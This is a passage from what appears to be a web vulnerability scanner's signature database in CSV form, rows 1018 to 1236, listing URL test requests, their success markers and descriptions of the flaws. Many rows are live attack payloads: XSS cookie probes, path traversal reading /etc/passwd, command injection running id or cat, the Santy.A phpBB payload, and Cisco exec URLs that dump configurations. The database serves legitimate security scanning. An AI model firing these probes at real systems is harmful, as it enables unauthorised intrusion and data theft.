  1018. "generic","/horde/test.php","IMP: 3.(0|1|2|2\.1)","GET","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2."
  1019. "generic","/hostadmin/?page='","C:\\","GET","Host Admin reveals install location and other sensitive information."
  1020. "generic","/hostadmin/?page='","D:\\","GET","Host Admin reveals install location and other sensitive information."
  1021. "generic","/hostingcontroller/","200","GET","This might be interesting...probably HostingController, www.hostingcontroller.com"
  1022. "generic","/hp/device/this.LCDispatcher","200","GET","The Hewlett Packard Color LaserJet 4550 may allow unauthenticated users to permanently include links (and other data) in the web interface."
  1023. "generic","/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
  1024. "generic","/html/cgi-bin/cgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1025. "generic","/html/cgi-bin/cgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
  1026. "generic","/html/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>","<script>alert(document.cookie);</script>","GET","myphpnuke version 1.8.8_final_7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1027. "generic","/html/partner.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>","<script>alert(document.cookie);</script>","GET","myphpnuke version 1.8.8_final_7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1028. "generic","/htpasswd","200","GET","Passwords?"
  1029. "generic","/https-admserv/bin/index?/<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sun ONE Web Server 6.1 administration control is vulnerable to CSS attacks."
  1030. "generic","/IBMWebAS","Default directory","GET","Default IBM directory found."
  1031. "generic","/IDSWebApp/IDSjsp/Login.jsp","200","GET","Tivoli Directory Server Web Administration."
  1032. "generic","/IlohaMail/blank.html","200","GET","IlohaMail 0.8.10 contains a CSS vulnerability. Previous versions contain other non-descript vulnerabilities."
  1033. "generic","/image/","Index of ","GET","index of image directory available"
  1034. "generic","/images/?pattern=/etc/*&sort=name","passwd","GET","The TCLHttpd 3.4.2 server allows directory listings via dirlist.tcl."
  1035. "generic","/images/","Index of ","GET","index of image directory available"
  1036. "generic","/img-sys/","200","GET","Default image directory should not allow directory listing."
  1037. "generic","/imp/horde/test.php?mode=phpinfo","PHP Version","GET","Horde allows phpinfo() to be run, which gives detailed system information."
  1038. "generic","/imp/horde/test.php","Horde Versions","GET","Horde script reveals detailed system/Horde information."
  1039. "generic","/imp/horde/test.php","IMP: 3.(0|1|2|2\.1)","GET","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2."
  1040. "generic","/imp/mailbox.php3?actionID=6&server=x&imapuser=x';somesql+--&pass=x","parse error","GET","IMP 2.x allows SQL injection, and reveals system information."
  1041. "generic","/inc/common.load.php","200","GET","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable."
  1042. "generic","/inc/config.php","200","GET","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable."
  1043. "generic","/inc/dbase.php","200","GET","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable."
  1044. "generic","/inc/sendmail.inc","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
  1045. "generic","/include.php?path=contact.php&contact_email=\"><script>alert(document.cookie);</script>","<script>alert(document.cookie)</script>","GET","PHPKIT is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1046. "generic","/index.html.bak","Index of","GET","The remote server (perhaps Web602) shows directory indexes if .bak is appended to the request."
  1047. "generic","/index.html~","Index of","GET","The remote server (perhaps Web602) shows directory indexes if a ~ is appended to the request."
  1048. "generic","/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000","200","GET","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. OSVDB-12184."
  1049. "generic","/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42","200","GET","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. OSVDB-12184."
  1050. "generic","/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42","200","GET","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. OSVDB-12184."
  1051. "generic","/index.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42","200","GET","PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. OSVDB-12184."
  1052. "generic","/index.php?|=../../../../../../../../../etc/passwd","root:","GET","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem."
  1053. "generic","/index.php?action=search&searchFor=\"><script>alert('Vulnerable')</script >","<script>alert('Vulnerable')</script>","GET","MiniBB http://www.minibb.net is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1054. "generic","/index.php?action=storenew&username=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SunShop is vulnerable to Cross Site Scripting (XSS) in the signup page. CA-200-02."
  1055. "generic","/index.php?catid=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PostNuke is vulnerable to cross site scripting (XSS). CA-2000-02."
  1056. "generic","/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc","resolv.conf","GET","phpMyExplorer Allows attackers to read directories on the server."
  1057. "generic","/index.php?dir=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Auto Directory Index 1.2.3 and prior are vulnerable to CSS attacks."
  1058. "generic","/index.php?download=/etc/passwd","root:","GET","Snif 1.2.4 allows any file to be retrieved from the web server."
  1059. "generic","/index.php?download=/windows/win.ini","[windows]","GET","Snif 1.2.4 allows any file to be retrieved from the web server."
  1060. "generic","/index.php?download=/winnt/win.ini","[fonts]","GET","Snif 1.2.4 allows any file to be retrieved from the web server."
  1061. "generic","/index.php?err=3&email=\"><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","MySQL Eventum is vulnerable to XSS. OSVDB-12606."
  1062. "generic","/index.php?file=index.php","Fatal error:","GET","PHPNuke 5.4 allows file system paths to be shown in error messages."
  1063. "generic","/index.php?file=Liens&op=\"><script>alert('Vulnerable');</script>","<script>alert('Vulnerable');</script>","GET","Nuked-klan 1.3b is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1064. "generic","/index.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd","root:","GET","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem."
  1065. "generic","/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc","passwd","GET","EW FileManager for PostNuke allows arbitrary file retrieval. OSVDB-8193."
  1066. "generic","/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd","root:","GET","EW FileManager for PostNuke allows arbitrary file retrieval. OSVDB-8193."
  1067. "generic","/index.php?module=My_eGallery","200","GET","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection."
  1068. "generic","/index.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","<DIR>","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1069. "generic","/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","<DIR>","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1070. "generic","/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","drwx","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1071. "generic","/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","drwx","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1072. "generic","/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","<DIR>","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1073. "generic","/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","drwx","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1074. "generic","/index.php?option=search&searchword=<script>alert(document.cookie);</script>","<script>alert(document.cookie);</script>","GET","Mambo Site Server 4.0 build 10 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1075. "generic","/index.php?page=../../../../../../../../../../boot.ini","boot loader","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)"
  1076. "generic","/index.php?page=../../../../../../../../../../etc/passwd","root:","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)"
  1077. "generic","/index.php?sql_debug=1","SQL query: ","GET","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string."
  1078. "generic","/index.php?top_message=<script>alert(document.cookie)</script> ","200","GET","Led-Forums allows any user to change the welcome message, and it is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1079. "generic","/index.php?vo=\"><script>alert(document.cookie);</script>","<script>alert(document.cookie);</script>","GET","Ralusp Sympoll 1.5 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1080. "generic","/index.php/\"><script><script>alert(document.cookie)</script><","<script>alert(document.cookie)</script>","GET","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02."
  1081. "generic","/index.php/123","Premature end of script headers","GET","Some versions of PHP reveal PHP's physical path on the server by appending /123 to the php file name."
  1082. "generic","/index.php/content/advancedsearch/?SearchText=<script>alert(document.cookie)</script>&PhraseSearchText=<script>alert(document.cookie)</script>&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchButton=Search","<script>alert(document.cookie)</script>","GET","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02."
  1083. "generic","/index.php/content/search/?SectionID=3&SearchText=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02."
  1084. "generic","/info.php","200","GET","Contains PHP configuration information"
  1085. "generic","/instantwebmail/message.php","200","GET","Instant Web Mail (http://understroem.kdc/instantwebmail/) is installed. Versions 0.59 and lower can allow remote users to embed POP3 commands in URLs contained in email."
  1086. "generic","/interchange/","200","GET","Interchange chat is installed. Look for a high-numbered port like 20xx to find it running."
  1087. "generic","/internal.sws?../../winnt/win.ini","[fonts]","GET","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server."
  1088. "generic","/internal.sws?../../winnt/win.ini","[windows]","GET","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server."
  1089. "generic","/interscan/cgi-bin/FtpSave.dll?I'm%20Here","These settings have been saved","GET","Multiple files in the Interscan management server allow attackers to change settins without auth. Upgrade to the latest version of the Interscan product."
  1090. "generic","/ip.txt","200","GET","This may be User Online from http://www.elpar.net version 2.0, which has a remotely accessible log file."
  1091. "generic","/isapi/count.pl?","200","GET","AN HTTPd default script may allow writing over arbitrary files with a new content of '1', which could allow a trivial DoS. Append /../../../../../ctr.dll to replace this file's contents, for example."
  1092. "generic","/isapi/testisa.dll?check1=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1093. "generic","/isqlplus","200","GET","Oracle iSQL*Plus is installed. This may be vulnerable to a buffer overflow in the user id field. http://www.ngssoftware.com/advisories/ora-isqlplus.txt"
  1094. "generic","/jamdb/","200","GET","JamDB pre 0.9.2 mp3.php and image.php can allow user to read arbitrary file out of docroot."
  1095. "generic","/java-plugin/","index of","GET","Default directory found."
  1096. "generic","/java-sys/","200","GET","Default Java directory should not allow directory listing."
  1097. "generic","/javadoc/","200","GET","Documentation...?"
  1098. "generic","/javax","index of","GET","Java class files may be browsable."
  1099. "generic","/jgb_eng_php3/cfooter.php3","Fatal error","GET","Justice Guestbook may reveal file system paths in error messages."
  1100. "generic","/jigsaw/","200","GET","Jigsaw server may be installed. Versions lower than 2.2.1 are vulnerable to Cross Site Scripting (XSS), update to latest at http://freshmeat.net/users/yveslafon/. CA-2000-02."
  1101. "generic","/Jigsaw/","200","GET","Jigsaw server may be installed. Versions lower than 2.2.1 are vulnerable to Cross Site Scripting (XSS), update to latest at http://freshmeat.net/users/yveslafon/. CA-2000-02."
  1102. "generic","/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../boot.ini","boot loader","GET","Default JRun CGI lets users read any system file."
  1103. "generic","/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../etc/passwd","root:","GET","Default JRun CGI lets users read any system file."
  1104. "generic","/jsp/jspsamp/jspexamples/viewsource.jsp?source=/../../../../../../../../../boot.ini","boot loader","GET","The JRUN view_source.jsp allows arbitrary file retrieval from the host. Upgrade to JRUN 2.3.3 or higher, or remove all default scripts. CVE-2000-0540. BID-1386."
  1105. "generic","/jsp/jspsamp/jspexamples/viewsource.jsp?source=/../../../../../../../../../etc/passwd","root:","GET","The JRUN view_source.jsp allows arbitrary file retrieval from the host. Upgrade to JRUN 2.3.3 or higher, or remove all default scripts. CVE-2000-0540. BID-1386."
  1106. "generic","/jspdocs/","OracleJSP","GET","Default Oracle JSP documentation."
  1107. "generic","/JUNK(5).csp","File not found: /","GET","Invalid files with .csp extension reveal the file system path to the web root."
  1108. "generic","/JUNK(6).cfm?mode=debug","Execution Time","GET","Coldfusion debug information contains sensitive information and can be viewed by appending ?Mode=debug at the end of the request."
  1109. "generic","/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor","root:","GET","Kebi Academy 2001 Web Solution allows any file to be retrieved from the remote system."
  1110. "generic","/kboard/","200","GET","KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php"
  1111. "generic","/krysalis/","200","GET","Krysalis pre 1.0.3 may allow remote users to read arbitrary files outside docroot"
  1112. "generic","/launch.asp?NFuse_Application=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","NFuse is vulnerable to cross site scripting (XSS) in the GetLastError function. Upgrade to the latest version. CA-2000-02."
  1113. "generic","/launch.jsp?NFuse_Application=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","NFuse is vulnerable to cross site scripting (XSS) in the GetLastError function. Upgrade to the latest version. CA-2000-02."
  1114. "generic","/ldap/cgi-bin/ldacgi.exe?Action=<script>alert(\"Vulnerable\")</script>","<script>alert(\"Vulnerable\")</script>","GET","IBM Directory Server 4.1 Web Admin, ldacgi.exe is vulnerable to CSS/XSS attack."
  1115. "generic","/level/16","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1116. "generic","/level/16/exec/-///pwd","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1117. "generic","/level/16/exec/-///show/configuration","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1118. "generic","/level/16/exec/","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1119. "generic","/level/16/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1120. "generic","/level/16/exec//show/access-lists","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1121. "generic","/level/16/level/16/exec//show/configuration","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1122. "generic","/level/16/level/16/exec//show/interfaces","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1123. "generic","/level/16/level/16/exec//show/interfaces/status","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1124. "generic","/level/16/level/16/exec//show/running-config/interface/FastEthernet","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1125. "generic","/level/16/level/16/exec//show/version","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1126. "generic","/level/17/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1127. "generic","/level/18/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1128. "generic","/level/19/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1129. "generic","/level/20/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1130. "generic","/level/21/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1131. "generic","/level/22/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1132. "generic","/level/23/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1133. "generic","/level/24/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1134. "generic","/level/25/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1135. "generic","/level/26/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1136. "generic","/level/27/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1137. "generic","/level/28/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1138. "generic","/level/29/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1139. "generic","/LOGIN.PWD","GET","200","The Nortel MIRAN password file is available remotely--it may not be encrypted."
  1140. "generic","/Mem/dynaform/FileExplorer.htm","GET","File Explorer","The Nortel MIRAN device allows unauthenticated users to view the contents of the system's drive."
  1141. "generic","/RLS_NOTE.TXT","GET","200","The Nortel MIRAN reveals detailed information through the release notes file."
  1142. "generic","/USER/CONFIG.AP","GET","200","The Nortel MIRAN config file is available, which contains the TUI password."
  1143. "lotus","dba4.nsf","DB Analysis","GET","This Lotus Domino page contains database views that disclose sensitive information."
  1144. "generic","/level/30/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1145. "generic","/level/31/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1146. "generic","/level/32/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1147. "generic","/level/33/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1148. "generic","/level/34/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1149. "generic","/level/35/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1150. "generic","/level/36/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1151. "generic","/level/37/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1152. "generic","/level/38/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1153. "generic","/level/39/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1154. "generic","/level/40/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1155. "generic","/level/41/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1156. "generic","/level/42/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1157. "generic","/level/42/exec/show%20conf","200","GET","Retrieved Cisco configuration file."
  1158. "generic","/level/43/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1159. "generic","/level/44/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1160. "generic","/level/45/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1161. "generic","/level/46/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1162. "generic","/level/47/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1163. "generic","/level/48/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1164. "generic","/level/49/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1165. "generic","/level/50/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1166. "generic","/level/51/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1167. "generic","/level/52/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1168. "generic","/level/53/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1169. "generic","/level/54/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1170. "generic","/level/55/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1171. "generic","/level/56/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1172. "generic","/level/57/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1173. "generic","/level/58/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1174. "generic","/level/59/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1175. "generic","/level/60/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1176. "generic","/level/61/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1177. "generic","/level/62/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1178. "generic","/level/63/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1179. "generic","/level/64/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1180. "generic","/level/65/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1181. "generic","/level/66/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1182. "generic","/level/67/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1183. "generic","/level/68/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1184. "generic","/level/69/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1185. "generic","/level/70/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1186. "generic","/level/71/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1187. "generic","/level/72/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1188. "generic","/level/73/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1189. "generic","/level/74/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1190. "generic","/level/75/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1191. "generic","/level/76/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1192. "generic","/level/77/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1193. "generic","/level/78/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1194. "generic","/level/79/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1195. "generic","/level/80/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1196. "generic","/level/81/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1197. "generic","/level/82/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1198. "generic","/level/83/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1199. "generic","/level/84/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1200. "generic","/level/85/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1201. "generic","/level/86/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1202. "generic","/level/87/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1203. "generic","/level/88/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1204. "generic","/level/89/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1205. "generic","/level/90/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1206. "generic","/level/91/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1207. "generic","/level/92/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1208. "generic","/level/93/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1209. "generic","/level/94/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1210. "generic","/level/95/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1211. "generic","/level/96/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1212. "generic","/level/97/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1213. "generic","/level/98/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1214. "generic","/level/99/exec//show","200","GET","CISCO HTTP service allows remote execution of commands. OSVDB-578"
  1215. "generic","/lists/admin/","200","GET","PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist"
  1216. "generic","/livehelp/","200","GET","LiveHelp may reveal system information."
  1217. "generic","/LiveHelp/","200","GET","LiveHelp may reveal system information."
  1218. "generic","/log/","200","GET","Ahh...log information...fun!"
  1219. "generic","/logbook.pl?file=../../../../../../../bin/cat%20/etc/passwd%00|","root:","GET","Wordit Limited 2000 allows command execution."
  1220. "generic","/logicworks.ini","200","GET","web-erp 0.1.4 and earlier allow .ini files to be read remotely."
  1221. "generic","/login.cgi?username=&command=simple&do=edit&password=&file=|id|","uid","GET","Remote  command execution in Community Link Pro. See http://www.securityfocus.com/bid/14097"
  1222. "generic","/login.jsp","replace(\"https:\/\/10","GET","HP Insight Manager reveals internal IP addresses in the HTML page."
  1223. "generic","/login.php?sess=your_session_id&abt=&new_lang=99999&caller=navlang","Failed opening required","GET","phPay v2.02 information disclosure. http://phpay.sourceforge.net/."
  1224. "generic","/login/sm_login_screen.php?error=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1225. "generic","/login/sm_login_screen.php?uid=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SPHERA HostingDirector and Final User (VDS) Control Panel 1-3 are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1226. "generic","/logins.html","Below are the usernames and passwords","GET","The Divine/OpenMarket Content Server lists the default user names and passwords set up with the server."
  1227. "generic","/logjam/showhits.php","200","GET","Logjam may possibly allow remote command execution via showhits.php page."
  1228. "generic","/logs/str_err.log","200","GET","Bmedia error log, contains invalid login attempts which include the invalid usernames and passwords entered (could just be typos & be very close to the right entries)."
  1229. "generic","/lpt9.xtp","java.io.FileNotFoundException:","GET","Resin 2.1 reveals the server path when a DOS device is requested."
  1230. "generic","/mail/addressaction.html?id=<USERID#>&newaddress=1&addressname=<script>alert('Vulnerable')</script>&addressemail=junk@example.com","<script>alert('Vulnerable')</script>","GET","IceWarp Webmail 3.3.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1231. "generic","/mailman/admin/ml-name?\"><script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","Mailmain is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1232. "generic","/mailman/listinfo/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Mailman is vulnerable to Cross Site Scripting (XSS). Upgrade to version 2.0.8 to fix. CA-2000-02."
  1233. "generic","/mailman/options/yourlist?language=en&email=<SCRIPT>alert('Vulnerable')</SCRIPT>","<SCRIPT>alert('Vulnerable')</SCRIPT>","GET","Mailmain 2.1 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1234. "generic","/mall_log_files/order.log","200","GET","EZMall2000 exposes order information, http://www.ezmall2000.com/, see http://www.mindsec.com/advisories/post2.txt for details."
  1235. "generic","/mambo/administrator/phpinfo.php","200","GET","Mambo Site Server 4.0.11 phpinfo.php script reveals system information."
  1236. "generic","/mambo/index.php?Itemid=JUNK(5)","exceeded in /","GET","Mambo Site Server 4.0.11 reveals the web server path."
